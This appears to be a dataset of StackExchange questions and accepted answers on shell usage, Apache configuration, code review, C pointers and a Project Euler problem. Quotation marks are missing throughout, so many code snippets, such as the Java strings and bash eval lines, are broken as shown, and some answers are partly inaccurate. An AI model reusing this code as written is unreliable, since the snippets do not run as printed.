{  "id": "_unix.161962"  , "question": "I came across this post which explains my problem.Suppose there is a file called file.txt which contains foo World.The answer posted by Tyler explains a lot however I am confused as to howcat file.txt | grep foois similar to grep foo file.txtI thought grep required the followinggrep input argument  // input is the string to search for (i.e) foo and                     //  argument is the file path (./file.txt)Now the output of cat file.txt is content of the file which is foo World this becomes the input of the grep? Am I correct? If so I thought grep required a filepath as a string?"  , "title": "Understanding grep and pipes in linux"  , "tags": "files;grep;pipe;arguments"  , "accepted_answer": "Most commands can deal with input that's either a file that they need to open for input, or as a stream of data that's passed to the command via STDIN.When the contents of cat file.txt is sent to another command through a pipe (|) the output via STDOUT that's passed to the pipe on the left side, is setup and fed to the command that's on the right side of the pipe's STDIN.If the contents is not being passed via STDOUT -> STDIN via a pipe, then commands can receive data by opening files that are passed by name via command line arguments.ExamplesSends output to STDOUT.$ cat file 12345Output from cat file is sent via STDOUT to grep's STDIN via the pipe.$ cat file | grep 55Processing the file as a command line argument.$ grep 5 file 5Processing the contents of the file via STDIN directly.$ grep 5 < <(cat file)5Here I'm demonstrating that the contents of file can be directed to grep via STDIN above."  } 
{  "id": "_unix.12785"  , "question": "Suppose I do the following in zshcd ~cd dir1cd dir2cd dir3evince foo.pdfzsh writes exactly the same in its history file.Now my question is whether it is possible to have cd ~cd ~/dir1cd ~/dir1/dir2cd ~/dir1/dir2/dir3evince ~/dir1/dir2/dir3/foo.pdfin zsh history instead. I.e. that zsh remembers only full paths."  , "title": "zsh history - full path"  , "tags": "zsh;command history"  } 
{  "id": "_unix.98425"  , "question": "This command has been running for 1 hour and it is still not repaired.I use Debian 7."  , "title": "dpkg --configure -a not working"  , "tags": "debian"  , "accepted_answer": "As far as I can tell, it's running correctly.Once a deb package get installed, a post installation script get executed. In this case, it tries to download something from the internet. So you need to wait until it finishes, and see if anything else goes wrong. Otherwise it's just fine."  } 
{  "id": "_unix.372994"  , "question": "I'm trying to get all files by mask in some directory without recursively searching in subdirs. There is no option -maxdepth 0 in AIX for that.I've heard about -prune, but still can't get how it works.I guess the command should look something likefind dir \\( ! -name dir -prune -type f \\) -a -name filemaskbut it doesn't work.Could you please write a correct command for me and explain how it will work?UPDIt seems commandfind dir ! -path dir -pruneprints all files and catalogs in dir, but not files and catalogs in dir/*, so I can use it for my case."  , "title": "Equivalent maxdepth for find in AIX"  , "tags": "find;aix"  , "accepted_answer": "You'd want:find dir/. ! -name . -prune -type f -name filemaskOr:find dir ! -path dir -prune -type f -name filemaskTo find the regular files called filemask in dir without searching in sub-directories of dir.With find dir ! -name dir -prune, you'd have issues if there was a dir/dir directory.The dir/. approach works around that because find will not come across any other file called . than that dir/. file passed as argument.The -path approach works around it by looking at the file path of the files (as opposed to just the name), -path dir will match on dir, but not on dir/dir (so dir will be the only directory it will not prune). -path may not be available in older versions of AIX though.More generally, for the standard equivalent of GNU's -maxdepth n or FreeBSD -depth n, see Limit POSIX find to specific depth?"  } 
{  "id": "_codereview.67804"  , "question": "My code, which generates Cartesian product of all lists given as arguments:public static <T> List<List<T>> cartesianProduct(List<T>... lists) {    List<List<T>> product = new ArrayList<List<T>>();    for (List<T> list : lists) {        List<List<T>> newProduct = new ArrayList<List<T>>();        for (T listElement : list) {            if (product.isEmpty()) {                List<T> newProductList = new ArrayList<T>();                newProductList.add(listElement);                newProduct.add(newProductList);            } else {                for (List<T> productList : product) {                    List<T> newProductList = new ArrayList<T>(productList);                    newProductList.add(listElement);                    newProduct.add(newProductList);                }            }        }        product = newProduct;    }    return product;}Can this code be simplified? "  , "title": "Generate Cartesian product of List in Java"  , "tags": "java;combinatorics"  } 
{  "id": "_webapps.7841"  , "question": "I need to be able to update people in Afghanistan with SMS messages to their cell phones. I thought the best way to do this was to get them all to sign-up for twitter and then subscribe to my tweets and make it so those tweets go to their cell phones.Do you think this plan makes sense?"  , "title": "Is it possible for some one in Afghanistan to get a tweet from a person in the USA as an SMS in their Afghan cell phone? How?"  , "tags": "twitter;sms;tweet"  , "accepted_answer": "This wouldn't be possible as Afghanistan is not in the Country list on Twitter.  You need to register all of these details in order to receive Tweets."  } 
{  "id": "_codereview.116926"  , "question": "I have some parameterized queries in Access 2010.They are often used in VBA functions having the same parameters.In such cases, I give the query and function the same name.The following is such a function (from my actual project):Public Function get_assignments(e_id As Long, yr As Integer, wk As Integer) As DAO.Recordset    Dim db As DAO.Database    Set db = CurrentDb    Dim qd As DAO.QueryDef    Set qd = db.QueryDefs!get_assignments    qd.Parameters![e_id] = e_id    qd.Parameters![year] = yr    qd.Parameters![week] = wk    Set get_assignments = qd.OpenRecordset    qd.CloseEnd FunctionBoth the query and function are named get_assignments and things work fine.Am I asking for trouble? While I don't usually add type suffixes to names, I could rename the query as get_assignments_qry or even rename the function as get_assignments_fn. What's best?Feel free to give feedback on any aspects of this code. "  , "title": "A function that implements a query"  , "tags": "vba;ms access"  , "accepted_answer": "Having different types of objects with the same name can be confusing. In Access it is a established practice to use prefixes for stored objects and sometimes also for functions.I use these prefixes:frm for a normal data entry form bound to a table or query.fdlg for modal dialog forms typically having OK and Cancel buttons.qfrm for queries used as record source of a form.qrpt for queries used as record source of a report.qsel for other select queries.qupd for update queries.qdel for delete queries.qapp for append (insert) queries.qcbo for queries used as row source of ComboBoxes.tbl for main tables.tlkp for lookup tables (countries, address-types etc.)rpt for reports.and so on ... but not for sub procedures or functions which I prefer to identify by a speaking name only.Often I have objects related to the same table like tblCustomer, frmCustomer, qrptCustomer, rptCustomer. If you look at the list of all your queries, you know immediately that qrptCustomer is used in a report. If you sort the objects by name, these prefixes have the advantage of grouping objects of the same kind together.I make the distinction between two types of sub-forms (or sub-reports): sub-forms used at different places get a prefix fsub (e.g. fsubHeader), sub-forms used in one main form start with the full name of the main form. Then, after a underscore character, I add the name of the child entity. That way they appear just below the main form in lexical order (e.g. frmCustomer and frmCustomer_Contact).I also always use the singular (tblCustomer, rsCustomer, frmCustomer, rptCustomer...). I call the part Customer the entity name and I have a lot of VBA code accepting the entity name as argument and performing the logic based on the naming conventions.I would call the query qselAssignments and the function GetAssignments or GetAssignmentsRecordset.But this is a personal preference. Find your own style and stick to it!"  } 
{  "id": "_softwareengineering.316441"  , "question": "I have  a set of 2-D data (x,y) and it produces a set of curves, and sometimes the set of curves do not overlap, and there is adistinct separation between the groups of curves, how would I identify and get this separation?Here is some sample data and its plot0.0000   -0.42700.1000   -0.42390.2000   -0.41410.3000   -0.39790.4000   -0.37530.5000   -0.34640.6000   -0.31130.7000   -0.27050.8000   -0.22440.9000   -0.17321.0000   -0.11741.0000   -0.42700.9000   -0.05780.8000    0.00500.7000    0.06980.6000    0.13610.5000    0.20260.4000    0.26850.3000    0.33270.2000    0.39200.1000    0.43960.0000    0.45970.0000    0.45970.1000    0.44630.2000    0.41600.3000    0.38120.4000    0.34740.5000    0.31720.6000    0.29170.7000    0.27150.8000    0.25690.9000    0.24801.0000    0.24501.0000    0.45971.0000    0.45971.0000    0.24500.9000    0.24800.8000    0.25690.7000    0.27150.6000    0.29170.5000    0.31720.4000    0.34740.3000    0.38120.2000    0.41600.1000    0.44630.0000    0.45970.0000    0.64840.1000    0.64020.2000    0.61910.3000    0.59180.4000    0.56390.5000    0.53890.6000    0.51860.7000    0.50460.8000    0.49730.9000    0.49751.0000    0.50631.0000    0.64841.0000    0.64841.0000    0.50630.9000    0.52390.8000    0.55080.7000    0.58740.6000    0.63330.5000    0.68760.4000    0.74500.3000    0.76220.2000    0.70780.1000    0.66570.0000    0.64840.0000    0.64840.1000    0.66570.2000    0.70780.3000    0.76220.4000    0.82220.5000    0.88640.6000    0.95270.7000    1.02060.8000    1.08990.9000    1.15861.0000    1.20591.0000    0.64841.0000    0.71461.0000    1.20590.9000    1.15860.8000    1.08990.7000    1.02060.6000    0.95270.5000    0.88640.4000    0.82220.3000    0.78690.2000    0.77310.1000    0.73380.0000    0.7146This for the curious, is a band dispersions diagram, from solid state physics."  , "title": "How would I identify a gap in a set of curve data, and get its value?"  , "tags": "algorithms;python;physics"  } 
{  "id": "_unix.100855"  , "question": "I've got 'color cat' working nicely, thanks to others(see How can i colorize cat output including unknown filetypes in b&w?).In my .bashrc:cdc() {  for fn in $@; do  source-highlight --out-format=esc -o STDOUT -i $fn 2>/dev/null || /bin/cat $fn;  done}alias cat='cdc' # To be next to the cdc definition above.I'd like to be able to use this technique for other functions like head, tail and less.How could I do that for all four functions?  Any way to generalize the answer?I have an option for gd doing git diff using gd() {    git diff -r --color=always $@}"  , "title": "How can I colorize head, tail and less, same as I've done with cat?"  , "tags": "colors;tail;function;head"  , "accepted_answer": "Something like this should do what you want:for cmd in cat head tail; do  cmdLoc=$(type $cmd | awk '{print $3}')  eval     $cmd() {       for fn in \\\\$@\\; do         source-highlight --failsafe --out-format=esc -o STDOUT -i \\\\$fn\\ |             $cmdLoc -       done     }  doneYou can condense it like this:for cmd in cat head tail; do    cmdLoc=$(type $cmd |& awk '{print $3}')    eval $cmd() { for fn in \\\\$@\\; do source-highlight --failsafe --out-format=esc -o STDOUT -i \\\\$fn\\ | $cmdLoc - ; done }doneExampleWith the above in a shell script, called tst_ccmds.bash.#!/bin/bashfor cmd in cat head tail; do    cmdLoc=$(type $cmd |& awk '{print $3}')  eval $cmd() { for fn in \\\\$@\\; do source-highlight --failsafe --out-format=esc -o STDOUT -i \\\\$fn\\ | $cmdLoc - ; done }donetype cattype headtype tailWhen I run this, I get the functions set as you'd asked for:$ ./tst_ccmds.bashcat () {     for fn in $@;    do        source-highlight --failsafe --out-format=esc -o STDOUT -i $fn 2> /dev/null | /bin/cat - ;    done}head is a functionhead () {     for fn in $@;    do        source-highlight --failsafe --out-format=esc -o STDOUT -i $fn 2> /dev/null | /usr/bin/head - ;    done}tail is a functiontail () {     for fn in $@;    do        source-highlight --failsafe --out-format=esc -o STDOUT -i $fn 2> /dev/null | /usr/bin/tail -;    done}In actionWhen I use these functions in my shell (source ./tst_ccmds.bash) they work as follows:catheadtailplain textWhat's the trick?The biggest trick, and I would call it more of a hack, is the use of a dash (-) as an argument to cat, head, and tail through a pipe which forces them to output the content that came from source-highlight through STDIN of the pipe. This bit:...STDOUT -i $fn | /usr/bin/head - ....The other trick is using the --failsafe option of source-highlight:   --failsafe          if no language definition is found for the input, it  is  simply          copied to the outputThis means that if a language definition is not found, it acts like cat, simply copying its input to the standard output. Note about aliasesThis function will fail if any of head,tail or cat are aliases because the result of the type call will not point to the executable. If you need to use this function with an alias (for example, if you want to use less which requires the -R flag to colorize) you will have to delete the alias and add the aliased command separately:less(){     for fn in $@; do        source-highlight --failsafe --out-format=esc -o STDOUT -i $fn |          /usr/bin/less -R || /usr/bin/less -R $fn; done}"  } 
{  "id": "_scicomp.21337"  , "question": "I am struggling with convergence criteria when performing a Monte carlo simulation on a uniform distribution. Any help would be much appreciated !Say I want to sample uniformly a 1D interval (for the sake of simplicity).I use a random number generator (in Fortran) to draw X values between 0 and 1. Then, how do i choose the number of points N such that I have a good sampling?I know the expected mean ( = 0.5) and I can easily compute the average of the positions of my MC points, i.e.  = (X_1 +... + X_N) / N. I was thinking that I could define a simple criterion such that:  / < 1% for instance, in order to decide if N is large enough or not...Please can anyone tell me if there is a better way to figure this out?Thanks a lot !"  , "title": "How to choose the number of random points in Monte Carlo simulations?"  , "tags": "algorithms;convergence;monte carlo"  } 
{  "id": "_codereview.15778"  , "question": "I'm teaching myself code using Zed Shaw's Learn Python The Hard Way, and I got bored during one of the memorization lessons so I thought I would make a random D20 number generator for when I play RPGS. How can I make this code better? Is there anything stupid I'm doing? import randomname = raw_input('Please Type in your name > ')print \\nHello %s & welcome to the Random D20 Number Generator by Ray Weiss.\\n % (name)first_number = random.randint(1, 20)print first_numberprompt = (Do you need another number? Please type yes or no.)answer = raw_input(prompt)while answer == yes:    print random.randint(1, 20)    answer = raw_input(prompt)if answer == no:print \\nThank you %s for using the D20 RNG by Ray Weiss! Goodbye!\\n % (name)Eventually I would love to add functionality to have it ask you what kind and how many dice you want to role, but for now a review of what I've done so far would really help."  , "title": "Random D20 number generator"  , "tags": "python;beginner;random;simulation;dice"  } 
{  "id": "_unix.87966"  , "question": "How do I set up Midnight Commander or other text-based file navigator so that when I start typing it searches the first directory or file matching the typed text?"  , "title": "Text-based file navigator with search as you type"  , "tags": "file browser"  } 
{  "id": "_unix.370296"  , "question": "File 1:P       SNP:0.266234        1:110080.266234        1:110120.340042        1:131100.86724 rs2017251260.86724 rs2005799490.127269        1:1327File 2:snp     chr:posrs201725126     1:10020rs200579949     1:10055rs62651026      1:10108rs376007522     1:10109rs796688738     1:10128rs368469931     1:10139Desired output:P       SNP:0.266234        1:110080.266234        1:110120.340042        1:131100.86724 1:100200.86724 1:100550.127269        1:13273So, I would like to replace all rsIDs in file one with chr:pos from file 2, keeping all other lines that already have chr:pos format inact.I have tried this command:awk 'NR==FNR{a[$1]=$2} NR>FNR{$2=a[$2];print}'  file2.txt file1.txt > merged.txtAlthough it merges the rsIDs well, I lose the existing chr:pos format, as shown below.P       SNP:0.266234        0.266234        0.340042        0.86724 1:100200.86724 1:100550.127269        "  , "title": "Update the values of a file using information from another file"  , "tags": "text processing;awk;bioinformatics"  , "accepted_answer": "awk 'NR==FNR{a[$1]=$2; next} $2 in a {$2=a[$2]} {print}'  file2.txt file1.txtP       SNP:0.266234        1:110080.266234        1:110120.340042        1:131100.86724 1:100200.86724 1:100550.127269        1:1327"  } 
{  "id": "_cs.2590"  , "question": "Given a sequence of natural numbers, you can add any natural number to any number in the sequence such that their xor becomes zero. My goal is to minimize the sum of added numbers.Consider the following examples :For $1, 3$ the answer is $2$;  adding $2$ to $1$ we get $3 \\oplus 3=0$.For $10, 4, 5, 1$ the answer is $6$;  adding $3$ to $10$ and $3$ to $5$ we get $13 \\oplus 4 \\oplus 8 \\oplus 1 = 0$.For $4, 4$ the answer is $0$, since $4 \\oplus 4 = 0$.I tried working on binary representations of sequence number but it got so complex. I want to know if there is any simple and efficient way to solve this problem."  , "title": "How can I find minimum number required to add to sequence such that their xor becomes zero"  , "tags": "algorithms;integers;xor"  } 
{  "id": "_opensource.2522"  , "question": "I have recently been looking for open source dating software to build upon and I keep seeing things like this:www.skadate.com/open-source.phpwww.a-dater.comwww.abk-soft.comph7cms.comWhich all clearly state that they are Open-source, yet I cannot redistribute or resell anything, and I cannot have access to the source without paying minimum $200-300 in most cases.Is my understanding of open source incorrect, is the landscape shifting, or are people just using this as marketing to try and entice unsuspecting buyers to their websites?Is what they are doing legal?"  , "title": "What truly defines open source? Can someone call something open source and charge?"  , "tags": "law;commercial;terminology;open source definition"  , "accepted_answer": "Is what they are doing legal?It certainly seems that way. The phrase open source is just a pair of words. Anyone can use the phrase to refer to some kind of source that is open in some respect.The Open Source Initiative wrote the Open Source Definition (OSD), which is what most people mean when they say open source. However, open source is not a trademark, and is probably ineligible for trademark status, according to Eric S. Raymond:We have discovered that there is virtually no chance that the U.S. Patent and Trademark Office would register the mark open source; the mark is too descriptive. Ironically, we were partly a victim of our own success in bringing the open source concept into the mainstream.So Open Source is not and cannot become a trademark...Thus, there's no legal impediment to using the phrase open source to mean a wide range of different things.The practice of giving away the source but without allowing redistribution or modification is what the Open Source Initiative might call source available, but again, there's nothing legally wrong with using open source to mean something other than complying with the Open Source Definition. However, if you wish to make yourself clearly understood within the FLOSS community, please use open source and source available appropriately. Obviously, these companies are not interested in making themselves clearly understood within the FLOSS community; they are interested in making sales.Finally, requiring payment to get a copy of the software is perfectly in line with the values of the Free Software Foundation and the Open Source Initiative. However, OSD-compliant software would allow you to freely use, modify, and redistribute the software once you paid for it, which these software products do not allow."  } 
{  "id": "_softwareengineering.175789"  , "question": "So here's the confusion, let's say I declare an array of characters char name[3] = Sam;and then I declare another array but this time using pointerschar * name = Sam;What's the difference between the two? I mean they work the same way in a program. Also how does the latter store the size of the stuff that someone puts in it, in this case 3 characters?Also how is it different fromchar * name = new char[3];If those three are different where should they be used I mean in what circumstances?"  , "title": "C simple arrays and pointers question"  , "tags": "c;memory;pointers;array;dynamic programming"  , "accepted_answer": "The first option only consumes the necessary space in memory for a 3 char string + the termination character.EDIT: Thanks for pointing that out in the comments. This option will actually give out an error because you only have 3 positions to fill, meaning there is no space for the termination character.The second option points towards the memory position where the new string starts. This has a variable size and needs to be manually terminated with a \\0 character ( the termination character ). This is usually prefered due to its variable size. This means that it will only consume as much memory as you need, unlike with the first option, where if you store a 3 character length string in a 100 position array, you will still have 100 positions reserved in an array.Using the second option means that you are using pointers instead of arrays, sometimes making it hard to notice where the errors are occurring, so special attention when using this."  } 
{  "id": "_codereview.135588"  , "question": "I have some validation classes. To keep things smooth, I create a single class that has those validation classes inside of it. That class will be a singleton, and gets injected into my other classes.The validation classes have a method that needs to be executed by the depending object. So lets make this clear:The Matrix classGets a validate class injectedand calls validate.validateMatrix().That method, validateMatrix(), is actually in another class, that validate imports and creates a reference to. The validateMatrix class, for example, looks like this:export class validateMatrix {    validateMatrix(props){       ...    }}The validateclass has a generator for those classes that it needs, and all the validation classes have a method with the exact same name as the class name. That way, I can request the class name and call out to the validate method. That class looks like this:import {validateString} from './validate/validateString';import {validateSlider} from './validate/validateSlider';import {validateCheckbox} from './validate/validateCheckbox';import {validateRadio} from './validate/validateRadio';import {validateDatetime} from './validate/validateDatetime';import {validateMatrix} from './validate/validateMatrix';export class validate {    // this is just the library containing all the validators, for easy import.    constructor(){        this.classGenerator(            validateString,            validateSlider,            validateCheckbox,            validateRadio,            validateMatrix,            validateDatetime        );    }    classGenerator(...classes){        // pass in a class with the same method name as class name        // and that function will be referred from here        // e.g. this.validateMatrix()        classes.forEach( (theClass) => {            let classObj = new theClass();            this[classObj.constructor.name] = classObj[classObj.constructor.name];        });    }}Usage:validate() {    this.validator.validateMatrix(this.question.properties)        .then(this.branching.branch());}Is this a good way to create a factory method to generate those methods, and keep them hidden in other classes?"  , "title": "Factory to augment JS classes with validation methods"  , "tags": "javascript;object oriented;validation;ecmascript 6;factory method"  , "accepted_answer": "Your solution works, and is perfectly functional, but it's bad practice.What you're describing is the service locator anti-pattern, it means that instead of passing what you need to a function, you pass a magic box that holds what you need and many other things, and it's the responsibility of your consuming class to know this magic box (called a service locator), and be tightly coupled with it, to get the object it really needs. It's a redundant layer of abstraction that only makes things harder instead of easier.Do you have a Matrix class? Pass it a MatrixValidator with a .validate() method. Have a Checkbox class? Pass it a CheckboxValidator with a .validate() method.This way, your actual classes don't need to know anything about their validators, they only see an object with a .validate() method, and the .validate() method gets implemented differently for each validator. That's called polymorphism, and it's a powerful tool in your OO arsenal.Additionally, dynamically adding methods to constructors (a.k.a. classes) is frowned upon, because it makes it hard to read. With the polymorphism method, all of your methods are known at write time, and nothing is added in runtime, which is good for both readability and performance.Now, you might ask, who will determine which Validator instance to inject to each of my classes, that would be the entity that creates your instances, normally, that would be a factory of some sort, otherwise, look up Dependency Injection for a good pattern to follow."  } 
{  "id": "_unix.288488"  , "question": "After many hours I finally managed to configure Apache to use my SSL certificate but i just found out that there is something wrong in my configuration. If I try to reach my domain from Google Chrome by just entering the following address I get the following warning: erichermansson.com Forbidden You don't have permission to access / on this server. But if I enter the following address in Google Chrome I can access the server and its working with my certificate: https://erichermansson.comWhat do I do wrong?Here is my VirtualHost: <VirtualHost *:443>ServerAdmin admin@erichermansson.comServerName erichermansson.comServerAlias www.erichermansson.comSSLEngine ONSSLCertificateFile /www/erichermansson.com/ssl/erichermansson.com.crtSSLCertificateKeyFile /www/erichermansson.com/ssl/erichermansson.com.keyDocumentRoot /www/erichermansson.com/html/ErrorLog /www/erichermansson.com/logs/error.logCustomLog /www/erichermansson.com/logs/access.log combined<Directory /www/erichermansson.com/html/ >     Options FollowSymLinks     AllowOverride All     Order deny,allow     Allow from all </Directory></VirtualHost>"  , "title": "How do I configure Apache to serve https?"  , "tags": "apache httpd;ssl;https;apache virtualhost"  , "accepted_answer": "For HTTP to redirect to HTTPS you need to (the first 3 steps you probably already did):Allow port 80 in your router.Forward port 80 to your server.Punch hole in your firewall:sudo iptables -A INPUT -p tcp -m tcp --dport 80 -j ACCEPTDefine VirtualHost for port 80 (as well as for 443):<VirtualHost *:80>  ServerName             erichermansson.com  ServerAlias            www.erichermansson.com  RewriteEngine          on  RewriteCond            %{HTTP_HOST} ^www\\.(.*)$ [NC]  RewriteRule            ^(.*)$ https://%1/$1 [R]  RewriteCond            %{HTTPS} !on  RewriteRule            ^/?(.*) https://%{SERVER_NAME}/$1 [R=301]</VirtualHost><IfModule mod_ssl.c>  <VirtualHost *:443>  ... your code here ...  </VirtualHost></IfModule>Activate mod_rewrite:sudo a2enmod rewriteDefine a redirect from HTTP to HTTPS, something like:RewriteCond            %{HTTPS} !onRewriteRule            ^/?(.*) https://%{SERVER_NAME}/$1 [R=301]which we have already done step 4.And finally restart Apache:sudo service apache2 restart"  } 
{  "id": "_unix.103798"  , "question": "I have been using touch -t to change time of a file when I started using Linux, is there any mitigation against touch date/time forgery?Like, echoing original created date and time, even after using touch.   "  , "title": "Is there any mitigation against touch date/time forgery?"  , "tags": "linux;files;security;timestamps"  , "accepted_answer": "See this stackoverflow answer:You can fetch the creation time using debugfs but you'll need root permissions to do so.  I also think that not all filesystems store this in the indode structure.  All that is guaranteed to be there is the inode change time (ctime), file modification time (mtime) and last access time (atime, and this isn't guaranteed to be right if the filesystem is mounted with noatime)."  } 
{  "id": "_softwareengineering.176678"  , "question": "Recently domain driven design got my attention, and while thinking about how this approach could help us I came across the following problem.In DDD the common approach is to retrieve entities (or better, aggregate roots) from a repository which acts as a in-memory collection of these entities. After these entities have been retrieved, they can be updated or deleted by the user, however after retrieval they are essentially disconnected from the data source and one must actively inform the repository to update the data source and make is consistent again with our in-memory representation.What is the DDD approach to retrieving entities that should remain connected to the data source? For example, in our situation we retrieve a series of sensors that have a specific measurement during retrieval. Over time, these measurement values may change and our business logic in the domain model should respond to these changes properly. E.g., domain events may be raised if a sensor value exceeds a predefined threshold.However, using the repository approach, these sensor values are just snapshots, and are disconnected from the data source. Does any of you have an idea on how to solve this following the DDD approach?"  , "title": "Keeping a domain model consistent with actual data"  , "tags": "architecture;domain driven design"  } 
{  "id": "_webmaster.25893"  , "question": "We're running a facebook ad campaign for our business but there seems to be a huge discrepancy between the number of clicks registered and the number of requests made with facebook.com in the HTTP referrer.The difference can be anything between 40-80 clicks/requests.I understand why the Google Analytics would be off and I understand that the figures shouldnt be exactly the same but surely if 100 people click the ad then I should be seeing at least 90 requests for the homepage with facebook.com as the referrer?Can anybody provide any insight into why this may be happening?"  , "title": "Huge difference between Facebook Ad Click figures and Apache log requests"  , "tags": "google analytics;facebook;apache2;advertising"  } 
{  "id": "_unix.187628"  , "question": "I had a working MythTV DVR a couple years ago.  The hard disk failed, so it sat in the corner for a couple years.  Recently, I pulled it out, put a new hard disk in it, and installed the latest Mythubuntu (14.04 amd 64) on it.  However, the video cards no longer seems to show up in /dev anymore (used to be /dev/video0 and /dev/video1).I can see the cards using lspci -v:01:09.0 Multimedia video controller: Internext Compression Inc Device 0014 (rev 01)    Subsystem: Hauppauge computer works Inc. Device 0001    Flags: medium devsel    Memory at 44000000 (32-bit, prefetchable) [disabled] [size=64M]    Capabilities: [44] Power Management version 001:0e.0 Multimedia video controller: Internext Compression Inc Device 0014 (rev 01)    Subsystem: Hauppauge computer works Inc. Device 0801    Flags: medium devsel    Memory at 48000000 (32-bit, prefetchable) [disabled] [size=64M]    Capabilities: [44] Power Management version 0I think one of the cards is a Hauupauge PVR 150 from comparing it to images I have googled.  I bought the DVR online from a small-time outfit that is since gone.  The cards are crammed in to an Asus Pundit barebone chassis, so I am not to keen on pulling the cards out unless I really have to.I tried modprobeing various modules, including ivtv. The only thing that shows up in dmesg output is:[ 5934.162401] ivtv: Start initialization, version 1.4.3[ 5934.162489] ivtv: End initializationI am assuming this means that the drivers aren't recognizing the card?I was wondering if anyone has any idea what I might need to do in order to get the system to get the system to create the device files.  Do I need new drivers?  Something else?EDIT: I managed to pull the PCI cards out to get a good look at them.  They are labeled WinTV-PVR-150 NTSC/NTSC-J 26552 LF Rev F0A3 and WinTV-PVR-150 NTSC/N/tSC-J 26152 LF Rev F1B2.EDIT: Here is the relevant lspci -vn output01:09.0 0400: 4444:0014 (rev 01)    Subsystem: 0070:8003    Flags: medium devsel    Memory at <unassigned> (32-bit, prefetchable) [disabled]    Capabilities: [44] Power Management version 201:0e.0 0400: 4444:0014 (rev 01)    Subsystem: 0070:8801    Flags: medium devsel    Memory at <unassigned> (32-bit, prefetchable) [disabled]    Capabilities: [44] Power Management version 2EDIT: On a hunch, I thought I would download an Ubuntu 8.04 live CD and boot into that, as that was the original OS.  When I did, the cards were recognized.  So I started copying all the lspci, lsmod, and dmesg output to a USB stick so I could compare to the new OS.  When I booted into the new OS (Mythubuntu 14.04), the cards were still recognized!  I am happy that they now work, but I am at a loss to explain why.  The new lspci -vn output is below (relevant section):01:09.0 0400: 4444:0016 (rev 01)        Subsystem: 0070:8003        Flags: bus master, medium devsel, latency 64, IRQ 16        Memory at ec000000 (32-bit, prefetchable) [size=64M]        Capabilities: [44] Power Management version 2        Kernel driver in use: ivtv01:0e.0 0400: 4444:0016 (rev 01)        Subsystem: 0070:8801        Flags: bus master, medium devsel, latency 64, IRQ 17        Memory at e8000000 (32-bit, prefetchable) [size=64M]        Capabilities: [44] Power Management version 2        Kernel driver in use: ivtvEDIT: After reboot, the /dev/videoXXX devices are gone again.  I think it probably has something to do with the module load order, but I am not really sure.EDIT: The fact that the /dev/videoXXX devices show up or not has nothing to do with the Live CD.  That is a red herring.  I have observed it not come up in the live CD and it has come up without the live CD."  , "title": "hauppauge PCI cards /dev/video0 no longer showing up after hard disk replacement"  , "tags": "ubuntu;pvr"  } 
{  "id": "_webmaster.67449"  , "question": "I am working on a website for a client who wants to launch with at least 2,000 articles, where in terms of links not all 2,000 articles will of course be available on the homepage or elsewhere.But, my client wants Google to of course know about these old articles because of their unique content.I suggested paging but the client is reluctant to use it.I was therefore thinking of submitting two sitemaps via Google Webmaster Tools, the normal one with the last 50 articles and a second one, with only the old articles having no direct link on the website, making sure to keep in the 50,000 URLs, 10MB limit.Is this the only way? And if yes, do I remove the old sitemap from GWT after all links are crawled or I just leave it there, untouched?"  , "title": "How to instruct Google to crawl old, non-linked pages?"  , "tags": "google search console;sitemap"  , "accepted_answer": "A sitemap is the right call for you. Without the sitemap, the crawler will not know that those pages exist.Even if you remove the sitemap from GWT, the pages will remain in index. But since those pages are not linked from anywhere, it is highly unlikely that Google will index those pages again. Removing the sitemap will ensure that the 40 new pages that you submitted via sitemap 2 will be indexed more often. If that is what your are attaining to do, then you are on the right track. "  } 
{  "id": "_codereview.87738"  , "question": "I'm an amateur programmer, new to Java and while attempting the Project Euler Archive 12 (Highly divisible triangular number) I ran into extremely long run time, with no result as of yet.Is it efficient and what should I do to improve it? Is there a special method to follow when sorting factors of numbers?Basically I need to find the first triangle number with over 500 divisors.public class Divisor {    public static void main(String[] args) {        int f = 0; //divisors        int m = 500; //max divisors        int j = 1; //current number        int z = 0; //sum (last run achieved: 135878572)        int a = 1; //current denominator        String t = ; //total divisors            while (f<=m) {                f = 0;                z += j;                j++;                System.out.println(------);                System.out.println(t:  + z);                //Now get factors of each, the first to have over 500 is the answer                while (a <= z){                    if ((z % a) == 0) {                        t += (String.valueOf(a) + |);                        f++;                    }                    a++;                }                System.out.println(f:  + t);                t=;                System.out.println(d:  + f);                a = 1;            }            System.out.print(Answer:  + z);    }}Here is an example of my output (first 3 triangle numbers):------t: 1   <--- Triangle Numberf: 1|  <--- Factors (Divisors)d: 1   <--- Total Factors (Total Divisors)------t: 3f: 1|3|d: 2------t: 6f: 1|2|3|6|d: 4------Also please note: I'm using NetBeans IDE 7.3.1, with Java 1.7"  , "title": "Euler Project 12# - highly divisible triangular number"  , "tags": "java;programming challenge"  , "accepted_answer": "Before we get to the slowness aspect of this code, there are a few other things we should straighten out first:Variable namesIn order to better understand your code, it is helpful to have better variable names.Whenever you see yourself adding a comment after each variable name to describe it, you are doing something wrong:int f = 0; //divisorsint m = 500; //max divisorsint j = 1; //current numberint z = 0; //sum (last run achieved: 135878572)int a = 1; //current denominatorString t = ; //total divisorsNot to mention that this is just confusing:System.out.println(t:  + z);...System.out.println(f:  + t);...System.out.println(d:  + f);...System.out.print(Answer:  + z);I would have expected something like:System.out.println(t:  + t);...System.out.println(f:  + f);...System.out.println(d:  + d);But your output is not very informative at all about what it actually means.Now, how about we do this?int divisors = 0;int maxDivisors = 500;int currentNumber = 1;int sum = 0;int currentDenominator = 1;String totalDivisors = ;Now there's no longer a need for the comments describing each variable, and now it will be easier to understand your code.String concatenation and System.outA major bottleneck in your code is all the System.out.println messages. You can take the fastest code in the world, and add a bunch of calls to System.out.println to it and it will become a lot slower.Additionally, actually storing and outputting all the divisors is a major bottleneck. You are storing the divisors by using String concatenation. String concatenation by using the += operator is slow, as a new String object is created every time. It is slightly faster to use the StringBuilder class to perform string concatenation. However, in this case I would recommend getting rid of this output entirely. Once you have checked that the calculation of the number of divisors is correct, you don't need to know what the exact divisors are anymore.AlgorithmNow to the fun part. Your way of calculating the number of divisors is the good old brute-force-ish way. Loop from 1 to x and see if it is divisible. Makes sense.But there is a much much much faster way.Let's take a look at some numbers, shall we?Number    Divisors6         428        636        966        8120       16Let's take a look at the prime factorization for those numbersNumber    Divisors  Prime Factorization6         4         2*328        6         2*2*736        9         2*2*3*366        8         2*3*11120       16        2*2*2*3*5In how many different ways can we pick the prime factorizations for each of these numbers?Let's take a look at 36. There are 2x 2's in the prime factorization and 2x 3's. So we can pick 0-2 2's (three combinations) and 0-2 3's (three combinations). 3 combinations * 3 combinations = 9 !!Coincidence? Let's take a look at 120. There are three 2's, one 3, and one 5. So there's four combinations to pick 